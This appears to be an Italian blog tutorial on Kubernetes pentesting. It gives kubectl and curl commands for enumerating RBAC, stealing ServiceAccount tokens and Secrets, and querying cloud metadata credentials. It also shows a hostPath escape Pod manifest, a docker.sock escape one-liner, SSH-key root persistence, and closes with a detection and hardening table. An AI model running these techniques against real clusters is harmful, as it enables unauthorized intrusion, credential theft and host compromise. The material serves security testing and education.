linux

Kubernetes Pentesting: RBAC, Secrets, PrivEsc e Kubectl

Kubernetes Pentesting: RBAC, Secrets, PrivEsc e Kubectl

Kubernetes pentest: come un token rubato in un Pod porta, via RBAC e nodes/proxy, a privilege escalation e shell root sul nodo, con kubectl e cheatsheet.

  • Pubblicato il 2026-09-22
  • Tempo di lettura: 15 min

Kubernetes Pentesting: RBAC, Secrets, Privilege Escalation e Container Escape #

Kubernetes pentesting consiste nell’enumerare l’API Server, i namespace, i workload, i ServiceAccount e i permessi RBAC di un cluster, per poi verificare se credenziali, configurazioni o permessi eccessivi permettono di leggere Secrets, eseguire codice nei Pod, scalare privilegi tramite workload o RBAC, o compromettere il nodo host sottostante.

Questo articolo parte da zero: se non hai mai toccato Kubernetes prima, le prossime righe spiegano cos’è e come ci si parla, prima di entrare nella parte offensiva.

Cos’è Kubernetes, in breve #

Kubernetes è un sistema che gestisce applicazioni “impacchettate” in container (piccole unità software isolate, tipicamente create con Docker) su più macchine contemporaneamente. Il suo lavoro è decidere su quale macchina far girare ogni pezzo di applicazione, riavviarlo automaticamente se crasha, e far comunicare tra loro le varie parti — senza che un umano debba farlo manualmente ogni volta.

Il nome “Kubernetes” (spesso abbreviato K8s) viene dal greco e significa “timoniere” — l’idea è proprio quella di pilotare/orchestrare tanti container insieme, motivo per cui si parla di “orchestrazione di container”.

Per orientarsi, bastano pochi termini, dal più piccolo al più grande:

  • Container: un’applicazione isolata (es. il tuo sito web, un database).
  • Pod: l’unità minima che Kubernetes gestisce davvero — una “scatola” che contiene uno o più container. Kubernetes non tocca mai il container direttamente, sposta sempre il Pod intero.
  • Nodo: la macchina (fisica o virtuale) che fa girare i Pod.
  • Namespace: una cartella logica che separa gruppi di Pod nello stesso cluster (es. default per le app normali, kube-system per i componenti interni di Kubernetes stesso).
  • Cluster: l’insieme totale di nodi, namespace e Pod gestiti insieme — “il cluster” è tutto Kubernetes che stai guardando.

Cos’è kubectl #

kubectl è il programma da riga di comando ufficiale per parlare con un cluster Kubernetes — è l’equivalente di un client SSH per un server, ma per Kubernetes. Ogni comando che vedrai in questo articolo (kubectl get pods, kubectl auth can-i…) non fa altro che mandare una richiesta HTTP all’API Server (il “centralino” del cluster, spiegato più sotto) e mostrarti la risposta in modo leggibile. Tutto quello che fa kubectl si può fare anche con curl direttamente contro l’API Server — kubectl è solo più comodo.

Workflow #

text
1. Network/API discovery       9.  Network (Service, DNS, NetworkPolicy)
2. Autenticazione (token/cert) 10. Kubelet
3. Identità corrente           11. etcd
4. API/resource discovery      12. Cloud metadata (IMDS)
5. RBAC enumeration            13. Privilege escalation
6. Secrets/credential hunting  14. Container escape
7. Workload enumeration        15. Lateral movement
8. Admission/Pod Security      16. Persistence / Detection

Ogni fase è condizionale: un Forbidden non è un vicolo cieco, è un’informazione — dice che questa combinazione risorsa/verbo/namespace/identità non è permessa, non che l’accesso sia finito. La checklist:

text
[ ] Identificare API Server, versione, endpoint di health
[ ] Enumerare namespace, nodi, Pod (kubectl get pods -A -o wide)
[ ] Enumerare API disponibili (api-resources, api-versions, /api, /apis)
[ ] Enumerare ServiceAccount, token, kubeconfig, certificati
[ ] Enumerare Role/ClusterRole/RoleBinding/ClusterRoleBinding
[ ] Testare permessi pericolosi (pods/exec, nodes/proxy, impersonate, rolebindings...)
[ ] Enumerare Secrets, ConfigMap, env vars, ImagePullSecrets
[ ] Enumerare Deployment/DaemonSet/StatefulSet/Job/CronJob e securityContext
[ ] Verificare Pod Security Admission e webhook di ammissione
[ ] Enumerare Service, EndpointSlice, Ingress, NetworkPolicy, DNS interno
[ ] Verificare autenticazione/autorizzazione del Kubelet (10250/10255)
[ ] Verificare esposizione etcd (2379/2380)
[ ] Verificare identità cloud (IMDS) se il cluster gira su AWS/Azure/GCP
[ ] Tentare privilege escalation (workload, RBAC, nodes/proxy)
[ ] Tentare container escape (hostPath, privileged, runtime socket, capabilities)
[ ] Documentare persistenza e valutare detection/hardening

Architettura in pratica #

  • Container: un’applicazione isolata.
  • Pod: l’unità base gestita da Kubernetes — la “scatola” che contiene uno o più container.
  • Nodo: la macchina che ospita i Pod.
  • Namespace: separazione logica di gruppi di Pod (default, kube-system, kube-public, kube-node-lease sempre presenti; namespace custom come dev segnalano configurazioni applicative).
  • API Server: il punto di accesso centrale, porte 6443/8443, a volte 8080 senza autenticazione.
  • Kubelet: gira su ogni nodo e gestisce i container locali, porte 10250 (API completa) e 10255 (sola lettura).
  • etcd: il database che contiene lo stato dell’intero cluster.
text
kubectl / API client ──► API Server (:6443/:8443)
                            ├── Authentication
                            ├── Authorization (RBAC)
                            └── Admission Control
                                    │
                ┌───────────────────┼───────────────────┐
                ▼                   ▼                   ▼
          Nodo 1 (kubelet)    Nodo 2 (kubelet)    Nodo 3 (kubelet)
PortaServizioNote
6443 / 443kube-apiserverAPI principale
8443kube-apiserverComune su minikube/k3s
8080kube-apiserverStoricamente senza auth
10250KubeletAPI completa
10255Kubelet (read-only)Se abilitata
2379 / 2380etcdClient API / peer communication
4194cAdvisorMetriche container
30000-32767NodePortServizi esposti sui nodi

1. Recon iniziale #

bash
nmap -n -T4 -p 443,2379,2380,4194,6443,8443,8080,10250,10255,10256,30000-32767 <target>

Senza credenziali:

bash
curl -k https://<target>:8443/api
curl -k https://<target>:8443/healthz
curl -k https://<target>:8443/version

Una risposta JSON valida dimostra solo che l’endpoint ha risposto — non dimostra da sola che l’accesso anonimo abbia privilegi utili. Verifica sempre esplicitamente cosa può fare quell’identità (sezione RBAC) prima di considerarlo un vettore sfruttabile.

Con kubectl o un token:

bash
kubectl version
kubectl cluster-info
kubectl config current-context
kubectl get namespaces
kubectl get nodes -o wide
kubectl get pods -A -o wide

Cerca: namespace custom oltre ai 4 standard, Pod con nomi/immagini non generici, IP interni, ServiceAccount diversi da default.

Quali namespace interrogare, in ordine di priorità #

kubectl get namespaces mostra sempre almeno questi 4 (più eventuali namespace custom creati dall’applicazione):

  1. kube-system — il namespace di sistema, contiene i componenti interni del cluster (controller, scheduler, autoscaler…) e spesso i secret/token più privilegiati. È il primo da controllare per permessi RBAC estesi.
  2. Namespace custom applicativi (es. dev, staging, production) — se l’app che hai compromesso ne ha uno, spesso ci trovi altre istanze dello stesso servizio (repliche, ambienti di test) con token/permessi diversi — utile per il lateral movement.
  3. default — dove finiscono i workload che non specificano un namespace esplicito; interessante quanto lo è l’applicazione che ci gira.
  4. kube-public — pensato per informazioni leggibili anche senza autenticazione; raramente contiene qualcosa di sfruttabile, ma va controllato per completezza.
  5. kube-node-lease — gestisce solo gli “heartbeat” dei nodi (segnala se un nodo è vivo); quasi mai utile in un pentest, puoi tralasciarlo se il tempo è limitato.

API discovery #

bash
kubectl api-resources
kubectl api-resources --verbs=list
kubectl api-resources --namespaced=false
kubectl api-versions
kubectl get --raw /api
kubectl get --raw /apis
kubectl get --raw /version

Il flusso logico: quali API esistono → quali risorse esistono → a quali ho accesso (prossima sezione).

2. Identità: token, kubeconfig, certificati #

bash
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

Nota tecnica: sui cluster moderni (Kubernetes 1.22+) questo non è più un Secret statico permanente di default — è un token proiettato, a scadenza breve e rotazione automatica gestita dal Kubelet. Il modello Secret statico esiste ancora per compatibilità e in configurazioni legacy (comune nei lab), ma verifica sempre exp nel payload JWT prima di darlo per scontato.

bash
export KUBE_TOKEN=$(cat token)
export KUBE_API="https://<target>:8443"
kubectl get pods --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt

Senza i tre flag, kubectl usa la configurazione locale (che non punta al target) e restituisce errori tipo invalid character '<' looking for beginning of value — HTML ricevuto al posto di JSON.

Verifica anche se il Pod è configurato per montare automaticamente il token:

bash
kubectl get pod <POD> -n <NS> -o jsonpath='{.spec.automountServiceAccountToken}'

false esplicito (o ereditato dal ServiceAccount) significa che quel Pod non ha token da rubare in primo luogo — un controllo di hardening che vale la pena verificare anche offensivamente per capire dove NON perdere tempo.

3. RBAC enumeration #

RBAC (Role-Based Access Control, “controllo degli accessi basato sui ruoli”) è il sistema con cui Kubernetes decide chi può fare cosa. Funziona con pochi pezzi che si incastrano:

  • Un Role (o ClusterRole se vale su tutto il cluster invece che su un singolo namespace) è un elenco di permessi — es. “puoi leggere i Pod”, “puoi cancellare i Secrets”.
  • Un RoleBinding (o ClusterRoleBinding) collega quel Role a un’identità specifica (un utente, o — quello che ci interessa in un pentest — un ServiceAccount di un Pod).

In pratica: il Role dice cosa si può fare, il Binding dice chi può farlo. Senza un Binding, un Role esiste ma non è assegnato a nessuno e non ha effetto (dettagli completi nella documentazione ufficiale RBAC). kubectl auth can-i è il comando che ti dice, in modo diretto, il risultato finale di questa catena per l’identità che stai usando in quel momento — senza doverti leggere manualmente ogni Role e ogni Binding uno per uno (anche se, più avanti, imparerai a farlo quando serve capire perché un permesso è concesso).

bash
kubectl auth can-i --list --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl auth can-i --list -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt

I permessi sono legati a un namespace tramite RoleBinding, o globalmente tramite ClusterRoleBinding. Lo stesso token può avere zero permessi extra in un namespace e permessi ampi in un altro — va controllato namespace per namespace.

Per ricostruire la catena ServiceAccount → RoleBinding → Role/ClusterRole → permessi effettivi:

bash
kubectl get serviceaccounts -A
kubectl get roles -A
kubectl get clusterroles
kubectl get rolebindings -A
kubectl get clusterrolebindings

kubectl describe role <ROLE> -n <NS>
kubectl describe clusterrolebinding <BINDING>

Obiettivo: capire quali azioni può eseguire l’identità corrente. Cosa cercare: secrets, pods/exec, create pods, rolebindings, clusterrolebindings, nodes/proxy, impersonate. Se trovi secrets → passa a Secrets. Se trovi create pods/pods/exec → passa a Privilege Escalation.

Matrice dei permessi pericolosi #

PermessoCosa abilita
get/list secretsFurto credenziali
create/update podsEscalation via Pod malevolo (hostPath, privileged)
create pods/execEsecuzione comandi in Pod esistenti, senza crearne di nuovi — subresource distinta, il verbo che conta è create
create pods/attach, pods/portforwardInterazione diretta col container
create rolebindingsAssegnazione di ruoli esistenti a un ServiceAccount controllato
create clusterrolebindingsEscalation a cluster-admin
create serviceaccountsCreazione di identità nuove
patch/update deployments/daemonsetsPresa di controllo di un workload fidato esistente
create daemonsetsEsecuzione su ogni nodo del cluster
impersonateAgire con l’identità di un altro utente/gruppo
get/create nodes/proxyVedi sotto — non è un permesso di sola lettura

pods/exec è una sottorisorsa distinta da pods: un token può avere get/list su pods senza poter eseguire nulla al loro interno, o viceversa avere create su pods/exec e poter eseguire comandi in QUALSIASI Pod raggiungibile, senza creare nulla.

bash
kubectl auth can-i create pods/exec -n <ns>
kubectl auth can-i create rolebindings -n <ns>
kubectl auth can-i create clusterrolebindings
kubectl auth can-i impersonate users
kubectl auth can-i get nodes/proxy

nodes/proxy: il permesso che sembra read-only e non lo è #

nodes/proxy inoltra richieste HTTP dall’API Server direttamente al Kubelet di un nodo, senza richiedere accesso di rete diretto al Kubelet né i suoi certificati TLS — bypassando quindi eventuali restrizioni di rete verso la porta 10250. Con GET su questo permesso puoi già leggere le specifiche di ogni Pod sul nodo (incluse le variabili d’ambiente, spesso contenenti secrets), la configurazione del Kubelet e i log dei container:

bash
curl -k -H "Authorization: Bearer $KUBE_TOKEN" $KUBE_API/api/v1/nodes/<node-name>/proxy/pods
curl -k -H "Authorization: Bearer $KUBE_TOKEN" $KUBE_API/api/v1/nodes/<node-name>/proxy/configz

Il permesso è granted di default a moltissimi stack di monitoring/observability (esporter Prometheus, agenti di metrica), e per questo viene comunemente considerato innocuo. A gennaio 2026 il ricercatore Graham Helton ha mostrato che questa assunzione è sbagliata: l’esecuzione di comandi in un Pod tramite Kubelet parte con un handshake WebSocket che inizia come richiesta HTTP GET, e Kubernetes autorizza quella richiesta solo in base al verbo — quindi un’identità con il solo nodes/proxy GET può avviare una sessione exec completa, senza mai avere il permesso pods/exec esplicito. Il progetto Kubernetes ha classificato questo comportamento come “funziona come previsto” piuttosto che come CVE. Il permesso è comunemente concesso a componenti di monitoring — verifica sempre, caso per caso durante l’engagement, se un ServiceAccount con nodes/proxy è effettivamente presente e se il gap di autorizzazione descritto è ancora sfruttabile sulla versione del cluster target, prima di considerarlo un percorso garantito. Il finding originale, con i dettagli tecnici sull’handshake WebSocket, è documentato da Graham Helton.

4. Secrets, ConfigMap e credential hunting #

kubectl get secrets (plurale) elenca TUTTI i secret presenti in un namespace — è il comando di enumerazione, ti dice solo nomi/tipo/età, non il contenuto. kubectl get secret <NOME> (singolare, con un nome specifico) mostra il dettaglio di UN solo secret — è lì che compare il campo data con i valori veri. -n <namespace> in entrambi i casi limita la ricerca a quel namespace specifico (senza, kubectl usa il namespace di default della tua configurazione, spesso default).

bash
kubectl get secrets -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl get secret <NAME> -n <NS> -o yaml --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt

Distingui il type: Opaque (dati generici), kubernetes.io/tls (certificato+chiave), kubernetes.io/dockerconfigjson (credenziali registry privato), kubernetes.io/service-account-token (token legacy).

bash
kubectl get secret <NAME> -n <NS> -o jsonpath='{.data}'
echo "<valore>" | base64 -d

-o jsonpath='{.data}' estrae SOLO il campo data dall’output (senza metadata, kind, ecc) — utile per non scorrere output lunghi quando ti serve solo il valore. Puoi anche puntare a un singolo campo invece che a tutti:

bash
kubectl get secret <NAME> -n <NS> -o jsonpath='{.data.token}'

Ogni valore dentro data:, per qualsiasi secret e qualsiasi tipo (token, password, certificato TLS…), è sempre codificato in base64 — mai in chiaro. Non è cifratura, solo codifica: echo "<valore>" | base64 -d lo riporta sempre al testo originale, senza bisogno di chiavi o permessi speciali oltre a poter leggere il secret stesso.

Non tutte le credenziali finiscono in un Secret — spesso sono direttamente nella definizione del workload:

bash
kubectl get configmaps -A
kubectl get pod <POD> -n <NS> -o yaml

Nel YAML cerca env:, envFrom:, secretKeyRef:, configMapKeyRef:, e stringhe come password, token, apikey, access_key, connectionstring, private_key.

ImagePullSecrets merita un controllo dedicato, perché un dockerconfigjson esposto dà accesso a un registry Docker privato intero:

bash
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.imagePullSecrets[*].name}{"\n"}{end}'
kubectl get secrets -A | grep -i docker

5. Workload, security context e admission #

bash
kubectl get deployments,daemonsets,statefulsets,jobs,cronjobs -A
kubectl get deployment <NAME> -n <NS> -o yaml

Oltre a leggere i workload esistenti, chiediti se puoi modificarne uno fidato invece di crearne uno nuovo — spesso patch/update su un Deployment esistente è un permesso concesso più facilmente di create pods:

bash
kubectl auth can-i patch deployments -n <ns>
kubectl auth can-i update daemonsets -n <ns>

Per ogni workload, il securityContext decide se un escape è già disponibile senza nessuna escalation RBAC:

yaml
securityContext:
  privileged: true
  capabilities:
    add: ["SYS_ADMIN"]
hostNetwork: true
hostPID: true
hostIPC: true

Verifica anche il livello di Pod Security Admission applicato al namespace (stabile dalla 1.25: privileged, baseline, restricted):

bash
kubectl get ns --show-labels | grep pod-security

Un namespace senza label pod-security.kubernetes.io/enforce, o impostato su privileged, non blocca hostPath né container privileged — la tua strada verso l’escape resta aperta anche con RBAC stretto. Controlla anche eventuali webhook di ammissione custom, che potrebbero bloccare (o al contrario permettere) configurazioni che RBAC da solo non regola:

bash
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

6. Enumerazione di rete e DNS #

bash
kubectl get svc,endpointslices,ingress,networkpolicies -A

Flusso: Pod → Service → Endpoint → applicazione. ClusterIP è raggiungibile solo dall’interno; NodePort è esposto su ogni nodo (30000-32767); LoadBalancer tipicamente esterno via cloud provider. In assenza di NetworkPolicy applicate, il comportamento di rete predefinito generalmente consente il traffico tra Pod secondo la configurazione del CNI in uso — la raggiungibilità effettiva tra Pod dipende sia dall’assenza di policy sia dal plugin di rete del cluster, va sempre verificata con un test diretto e non assunta a priori. Quando esiste una NetworkPolicy, guarda podSelector, namespaceSelector, ipBlock e le regole ingress/egress separatamente: una policy che filtra solo l’ingress lascia comunque libero l’egress verso altri Pod.

Da dentro un Pod, la scoperta di servizi passa dal DNS interno:

bash
cat /etc/resolv.conf
nslookup <service>.<namespace>.svc.cluster.local

Il pattern <service>.<namespace>.svc.cluster.local ti permette di raggiungere per nome qualsiasi Service del cluster a cui la rete/RBAC ti dà accesso, senza dover conoscere IP interni a memoria.

7. Lateral movement #

Se l’applicazione compromessa è distribuita su più repliche (Deployment), ciascuna vive in un Pod diverso — spesso in namespace diversi — con ServiceAccount e permessi RBAC potenzialmente differenti. Il principio è lo stesso del lateral movement classico: ripetere l’accesso ottenuto contro bersagli identici o simili, sperando in una configurazione diversa che apra permessi nuovi.

bash
kubectl get pods -n <namespace> -o wide --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt

La colonna IP mostra l’indirizzo interno (range tipico 10.42.0.0/24 con Flannel/k3s, 172.17.0.0/16 con Docker bridge). Con un tunnel verso quella subnet (es. Ligolo-ng dopo il primo foothold), ripeti lo stesso exploit applicativo contro ogni replica per ottenere un token diverso da ciascuna. Gli IP interni non sono raggiungibili dall’esterno del cluster senza un tunnel dedicato: un tentativo diretto da una macchina esterna fallisce silenziosamente o va in timeout.

8. Kubelet #

bash
curl -k https://<node>:10250/pods
curl -k https://<node>:10250/runningpods/
curl -k https://<node>:10250/metrics
curl -k https://<node>:10250/configz

L’accesso dipende da autenticazione + autorizzazione del Kubelet, entrambe configurabili e non standardizzate su ogni installazione. Unauthorized indica che serve autenticazione. Anche superata l’autenticazione, il Kubelet applica un proprio modello di autorizzazione: può essere configurato in modalità AlwaysAllow (molto permissiva, storicamente comune) oppure in modalità Webhook (delega la decisione all’API Server tramite una SubjectAccessReview, più restrittiva) — verifica sempre quale modalità è effettivamente in uso invece di assumerla in base alla sola porta aperta.

text
10250 aperta?
  ├─ NO  → torna all'API Server / nodes-proxy
  └─ YES
      ├─ 401 Unauthorized → cerca token/certificati client validi
      └─ 200 OK → enumera /pods, poi /exec, /run, /portForward

Se raggiungibile senza credenziali, gli endpoint /exec, /run, /attach, /portForward, /containerLogs permettono di eseguire comandi direttamente in un container su quel nodo, bypassando completamente l’audit log dell’API Server.

9. etcd #

bash
nmap -p 2379,2380 <target>
curl -k https://<target>:2379/version

2379 è l’API client (dove risiedono potenzialmente tutti i Secret del cluster in chiaro se non cifrati a riposo), 2380 la comunicazione tra membri del cluster etcd. Non dovrebbe mai essere esposto oltre la rete di controllo del cluster; se raggiungibile e senza autenticazione, etcdctl get / --prefix --keys-only estrae l’intero namespace di chiavi.

10. Kubeconfig e certificati #

bash
echo $KUBECONFIG
cat ~/.kube/config 2>/dev/null
find /home /root /etc -type f \( -name "config" -o -name "kubeconfig" \) 2>/dev/null | grep -i kube
find /etc/kubernetes -type f 2>/dev/null

File come /etc/kubernetes/admin.conf, kubelet.conf, controller-manager.conf, scheduler.conf contengono spesso credenziali di livello amministrativo lasciate su un nodo dove il cluster è stato configurato/bootstrappato.

bash
kubectl config get-contexts --kubeconfig=<file_trovato>
kubectl config view --raw --kubeconfig=<file_trovato>

11. Credenziali cloud (AWS/Azure/GCP) #

Se il nodo gira su una VM cloud, il Pod può avere accesso al servizio di metadata dell’istanza — un vettore indipendente da RBAC, che rientra nella stessa logica di AWS security applicata dall’interno di un cluster invece che dall’esterno:

bash
# AWS (EKS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP (GKE)
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (AKS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01"

Se raggiungibile senza restrizioni di rete a livello di Pod, questo espone le credenziali IAM del nodo host — spesso più potenti di qualunque ruolo RBAC interno al cluster.

12. Privilege escalation: creare un Pod malevolo #

Prima di scegliere la tecnica, il ramo decisionale in base a cosa hai già ottenuto dall’enumerazione RBAC:

text
Hai create pods?
   ├─ SÌ → verifica Pod Security Admission → hostPath / privileged (vedi sotto)
   └─ NO
       ├─ Hai patch/update su un Deployment esistente? → modifica workload fidato
       ├─ Hai create daemonsets? → esecuzione forzata su ogni nodo
       ├─ Hai create rolebindings/clusterrolebindings? → assegnati un ClusterRole esistente più ampio
       └─ Hai nodes/proxy (get)? → verifica accesso al Kubelet (sezione 8)

Con create su pods, la tecnica più diretta per raggiungere il filesystem dell’host è un Pod con volume hostPath.

bash
kubectl get pods --all-namespaces --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt \
  | grep -v NAMESPACE \
  | while read line; do
      ns=$(echo $line | awk '{print $1}'); name=$(echo $line | awk '{print $2}')
      kubectl get pod $name -o yaml -n $ns --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt | grep '  - image: '
    done | sort -u

Verifica prima quali immagini sono disponibili localmente: se il nodo non ha accesso a Internet, un’immagine come alpine da Docker Hub fallisce con ErrImagePull.

yaml
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
  namespace: kube-system
spec:
  containers:
  - name: escape
    image: localhost:5000/node_server
    command: ["/bin/sh"]
    args: ["-c", "sleep 300000"]
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Riga per riga, per chi non ha mai scritto un manifest Kubernetes:

  • image: localhost:5000/node_server — l’immagine da cui creare il container. Deve essere un’immagine già presente localmente (vedi sopra), non una scaricata da Internet.
  • command / args — cosa esegue il container all’avvio. Un Pod (come un container Docker) termina automaticamente quando il suo processo principale finisce — non è come una VM che resta accesa di default. Se non gli dai nulla da fare, il container esegue il comando di default dell’immagine e probabilmente esce subito, facendo terminare il Pod prima che tu possa entrarci con kubectl exec. sleep 300000 fa semplicemente “aspetta 300000 secondi” (poco più di 83 ore) — un numero scelto arbitrariamente, abbastanza grande da tenere il Pod vivo per tutta la durata del test. Un’alternativa equivalente, altrettanto comune, è tail -f /dev/null (segue per sempre un file che non produce mai output).
  • volumeMounts + volumes — il meccanismo con cui Kubernetes “collega” una risorsa esterna (qui, una cartella) dentro il container. name: hostfs è solo un’etichetta a piacere che collega le due sezioni (il volume dichiarato in volumes e il punto di montaggio dichiarato in volumeMounts devono avere lo stesso name per essere la stessa cosa); mountPath: /mnt dice “questa risorsa esterna comparirà dentro il container alla cartella /mnt”.
  • hostPath: path: / — il tipo di volume che stai collegando: non uno spazio di storage gestito da Kubernetes, ma direttamente una cartella del filesystem del nodo host (/ = tutta la root). È questo il punto che rende il Pod “malevolo”: qualunque cosa scrivi/leggi in /mnt dentro il container, la stai scrivendo/leggendo davvero sul disco della macchina fisica/virtuale che ospita il Pod.
  • namespace: kube-system — scelto qui solo per coerenza con l’esempio (il Pod poteva stare in qualsiasi namespace dove il tuo token ha permesso create pods).
bash
kubectl apply -f escape-pod.yaml --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl exec escape-pod --stdin --tty -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt -- /bin/sh

/mnt è ora il filesystem reale della macchina host. Per una shell persistente: scrivi una chiave SSH pubblica in /mnt/root/.ssh/authorized_keys (creando .ssh con permessi 700 e il file con 600) e collegati via SSH come root.

13. Container escape: percorsi alternativi #

Creare un Pod nuovo è solo uno dei vettori — le tecniche vere e proprie di fuga dal container sono le stesse che valgono per qualsiasi ambiente containerizzato, non solo Kubernetes (vedi Docker Security e Container Escape per il quadro generale). Se hai già una shell in un Pod esistente:

  • hostPath già montato — controlla mount o kubectl describe pod per volumi mappati dall’host.
  • Container privilegedcapsh --print o /proc/self/status (campo CapEff).
  • Runtime socket esposto — se /var/run/docker.sock (o l’equivalente containerd/CRI-O) è montato: docker -H unix:///var/run/docker.sock run -v /:/hostfs --rm -it alpine chroot /hostfs sh.
  • hostPID/hostNetwork — accesso a /proc/<pid> dell’host o allo stack di rete del nodo.
  • Capabilities pericoloseSYS_ADMIN, SYS_PTRACE, DAC_READ_SEARCH. Una volta fuori dal container, la stessa logica di privilege escalation Linux e GTFOBins si applica normalmente sull’host.
  • Vulnerabilità del kernel/runtime — vulnerabilità note come Leaky Vessels (CVE-2024-21626, runc) permettono escape indipendentemente dalla configurazione RBAC.

14. Persistenza (in ambito autorizzato) #

Le tecniche seguenti sono la versione Kubernetes-specifica dei concetti generali di post-exploitation:

  • Un CronJob che ricrea periodicamente l’accesso.
  • Una RoleBinding/ClusterRoleBinding aggiuntiva verso un ServiceAccount sotto controllo.
  • Un container sidecar iniettato in un Deployment esistente.

Va sempre documentata e rimossa a fine engagement.

Attack path di esempio #

text
ServiceAccount a basso privilegio
        ↓ list pods
Individua workload vulnerabile
        ↓ pods/exec o nodes/proxy GET
Esecuzione comandi / furto token
        ↓ RBAC enumeration sul nuovo token
create pods (o create rolebindings)
        ↓ hostPath / cluster-admin
Filesystem del nodo o controllo cluster completo
        ↓ kubeconfig / credenziali cloud
Escalation oltre il singolo cluster

Detection & Hardening #

PercorsoMisconfigurazioneDetectionMitigazione
Furto SecretsRBAC troppo permissivoAudit log API ServerLeast privilege su Role/RoleBinding
Abuso di Podcreate pods/pods/exec non necessarioAudit su create/connectRBAC granulare + Pod Security Admission
nodes/proxy → RCEPermesso concesso a tool di monitoringAudit su richieste proxy verso /proxy/exec, /proxy/runRimuovere nodes/proxy dai ruoli di monitoring dove non indispensabile; visibilità runtime
Host compromisehostPath, privilegedLog di ammissionePod Security Admission restricted
Abuso Kubelet10250/10255 esposte, AlwaysAllowLog di rete/IDSModalità Webhook, segmentazione di rete
Lateral movementAssenza di NetworkPolicyFlow log interniNetworkPolicy default-deny

Ulteriori punti: disabilitare automountServiceAccountToken dove non serve; preferire token proiettati a scadenza breve; usare gestori esterni di secrets (Vault, external-secrets); audit logging attivo con alert su create/patch di risorse sensibili (Pod con hostPath, RoleBinding, ClusterRoleBinding) e su richieste nodes/proxy verso endpoint di esecuzione.

FAQ #

Cos’è Kubernetes? Un sistema che gestisce automaticamente applicazioni “impacchettate” in container su più macchine — decide dove farle girare, le riavvia se crashano e le fa comunicare tra loro. Spesso abbreviato K8s.

Cos’è un Pod? L’unità minima gestita da Kubernetes: una “scatola” che contiene uno o più container. Kubernetes gestisce sempre il Pod nel suo insieme, mai il container isolatamente.

Cos’è kubectl? Il client a riga di comando ufficiale per interagire con un cluster Kubernetes — manda richieste HTTP all’API Server e mostra la risposta in modo leggibile. Ogni comando kubectl ha un equivalente in una chiamata curl diretta.

Cos’è RBAC? Role-Based Access Control: il sistema con cui Kubernetes decide chi può fare cosa, tramite Role/ClusterRole (i permessi) collegati a un’identità con RoleBinding/ClusterRoleBinding.

Qual è la differenza tra API Server e Kubelet? L’API Server (6443/8443) gestisce l’intero cluster. Il Kubelet (10250/10255) gira su ogni nodo e gestisce i container locali — se raggiungibile senza restrizioni può bypassare l’audit dell’API Server.

Cos’è pods/exec? Una sottorisorsa distinta da pods: il permesso specifico per eseguire comandi dentro un container già esistente, indipendente da get/list sui Pod stessi.

Cos’è nodes/proxy e perché non è “solo lettura”? Inoltra richieste dall’API Server al Kubelet di un nodo. Anche con il solo verbo GET, permette di avviare sessioni di esecuzione comandi nei Pod di quel nodo, per un gap nell’autorizzazione del WebSocket usato da exec — documentato pubblicamente nel 2026.

Dove si trova il token del ServiceAccount? /var/run/secrets/kubernetes.io/serviceaccount/token. Nei cluster moderni è un token proiettato a scadenza breve, non più un Secret statico permanente di default.

“Porta 10250 aperta” significa sempre accesso libero? No — dipende dalla configurazione di autenticazione/autorizzazione del Kubelet, che varia per versione e installazione. Va sempre verificato lo stato reale prima di considerarlo sfruttabile.

create pods è sempre necessario per l’escalation? No. Con un Pod esistente che ha hostPath, privileged, o il socket del runtime montato, l’escape non richiede crearne uno nuovo.

#kubernetes-privilege-escalation #rbac-exploitation #container-escape #kubelet-nodes-proxy #service-account-token-theft

lascia un messaggio

Non sono un robot